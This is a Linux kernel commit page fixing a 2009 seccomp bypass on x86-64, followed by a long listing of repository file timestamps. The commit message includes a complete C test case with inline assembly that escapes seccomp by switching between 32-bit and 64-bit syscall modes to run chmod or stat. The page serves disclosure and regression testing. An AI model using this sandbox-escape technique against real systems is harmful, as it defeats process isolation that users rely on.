Roland McGrath
5b1017404a
x86-64: seccomp: fix 32/64 syscall hole
...
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
ljmp, and then use the "syscall" instruction to make a 64-bit system
call. A 64-bit process make a 32-bit system call with int $0x80.
In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
the wrong system call number table. The fix is simple: test TS_COMPAT
instead of TIF_IA32. Here is an example exploit:
/* test case for seccomp circumvention on x86-64
There are two failure modes: compile with -m64 or compile with -m32.
The -m64 case is the worst one, because it does "chmod 777 ." (could
be any chmod call). The -m32 case demonstrates it was able to do
stat(), which can glean information but not harm anything directly.
A buggy kernel will let the test do something, print, and exit 1; a
fixed kernel will make it exit with SIGKILL before it does anything.
*/
#define _GNU_SOURCE
#include <assert.h>
#include <inttypes.h>
#include <stdio.h>
#include <linux/prctl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <asm/unistd.h>
int
main (int argc, char **argv)
{
char buf[100];
static const char dot[] = ".";
long ret;
unsigned st[24];
if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");
#ifdef __x86_64__
assert ((uintptr_t) dot < (1UL << 32));
asm ("int $0x80 # %0 <- %1(%2 %3)"
: "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
ret = snprintf (buf, sizeof buf,
"result %ld (check mode on .!)\n", ret);
#elif defined __i386__
asm (".code32\n"
"pushl %%cs\n"
"pushl $2f\n"
"ljmpl $0x33, $1f\n"
".code64\n"
"1: syscall # %0 <- %1(%2 %3)\n"
"lretl\n"
".code32\n"
"2:"
: "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
if (ret == 0)
ret = snprintf (buf, sizeof buf,
"stat . -> st_uid=%u\n", st[7]);
else
ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
#else
# error "not this one"
#endif
write (1, buf, ret);
syscall (__NR_exit, 1);
return 2;
}
Signed-off-by: Roland McGrath <roland@redhat.com >
[ I don't know if anybody actually uses seccomp, but it's enabled in
at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org >
2009-03-02 15:41:30 -08:00
..
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-12-09 00:50:13 -08:00
2008-08-31 20:59:37 -07:00
2009-01-06 15:59:10 -08:00
2009-01-06 15:59:10 -08:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-12-03 16:04:52 -08:00
2008-12-04 09:16:47 -08:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-09-02 00:49:38 -07:00
2009-01-14 19:56:50 -08:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2009-03-02 15:41:30 -08:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2009-01-30 00:03:53 -08:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-12-03 21:03:54 +11:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-08-29 02:13:14 -07:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-08-29 02:15:23 -07:00
2008-08-29 23:10:21 -07:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-10-16 15:40:05 +02:00
2008-10-16 15:40:05 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-08-31 20:56:15 -07:00
2008-07-27 23:00:59 +02:00
2008-08-29 02:15:13 -07:00
2008-08-29 23:26:23 -07:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-30 15:40:50 -07:00
2008-07-27 23:00:59 +02:00
2008-08-24 20:33:56 -07:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-12-04 09:17:09 -08:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-08-29 02:15:13 -07:00
2008-08-29 02:15:13 -07:00
2008-08-29 02:15:23 -07:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-08-29 02:15:21 -07:00
2008-09-10 23:07:41 -07:00
2008-07-27 23:00:59 +02:00
2009-01-04 15:44:52 -08:00
2008-12-08 01:08:24 -08:00
2009-01-30 00:03:53 -08:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-12-04 09:17:02 -08:00
2008-07-27 23:00:59 +02:00
2009-01-02 21:31:13 -08:00
2009-01-14 19:56:50 -08:00
2008-11-01 21:44:01 -07:00
2009-01-30 00:03:53 -08:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-08-29 14:16:48 -07:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-08-24 22:08:34 -07:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-12-26 15:35:41 -08:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2009-01-30 00:03:53 -08:00
2008-07-27 23:00:59 +02:00
2008-09-08 15:40:45 -07:00
2008-08-29 02:15:20 -07:00
2008-08-30 00:37:36 -07:00
2009-01-02 21:15:25 -08:00
2008-07-27 23:00:59 +02:00
2009-01-08 16:58:42 -08:00
2009-01-08 16:58:42 -08:00
2008-07-27 23:00:59 +02:00
2008-08-31 20:59:37 -07:00
2008-09-11 23:36:32 -07:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-08-31 01:23:17 -07:00
2008-07-27 23:00:59 +02:00
2008-08-29 02:15:23 -07:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2009-01-30 00:03:53 -08:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-08-31 20:59:37 -07:00
2008-09-12 00:10:32 -07:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2009-01-28 17:13:57 -08:00
2008-07-27 23:00:59 +02:00
2009-01-02 18:35:29 -08:00
2009-01-02 19:32:59 -08:00
2008-11-02 00:15:38 -07:00
2008-07-27 23:00:59 +02:00
2008-08-25 16:44:58 -07:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2009-01-02 19:42:12 -08:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-12-11 20:24:58 -08:00
2008-07-27 23:00:59 +02:00
2009-03-02 15:41:30 -08:00
2008-12-27 00:35:12 -08:00
2008-07-27 23:00:59 +02:00
2008-10-13 09:51:40 -07:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2009-01-02 19:34:46 -08:00
2009-01-02 21:10:04 -08:00
2009-01-10 23:44:45 -08:00
2009-01-02 21:33:54 -08:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-09-09 19:43:33 -07:00
2008-12-04 09:16:47 -08:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-12-07 00:04:30 -08:00
2008-07-27 23:00:59 +02:00
2008-08-31 01:40:12 -07:00
2009-01-02 18:48:21 -08:00
2008-09-06 19:30:17 +01:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2009-01-06 18:10:27 -08:00
2008-07-27 23:00:59 +02:00
2008-07-27 17:31:48 -07:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-12-04 09:17:01 -08:00
2008-12-04 09:17:05 -08:00
2008-07-27 23:00:59 +02:00
2008-11-12 23:51:54 -08:00
2008-07-27 23:00:59 +02:00
2009-01-02 19:32:59 -08:00
2008-10-20 08:52:33 -07:00
2008-07-27 23:00:59 +02:00
2008-09-19 21:18:03 -07:00
2009-01-06 13:19:28 -08:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2009-01-11 15:33:24 +01:00
2008-07-27 23:00:59 +02:00
2009-01-02 21:33:05 -08:00
2008-12-04 09:16:47 -08:00
2008-07-27 23:00:59 +02:00
2008-12-04 09:17:03 -08:00
2008-07-27 23:00:59 +02:00
2009-01-06 13:19:28 -08:00
2008-07-27 23:00:59 +02:00
2008-11-01 21:41:40 -07:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-12-04 09:17:06 -08:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-08-31 20:59:37 -07:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-09-11 23:46:40 -07:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00
2008-07-27 23:00:59 +02:00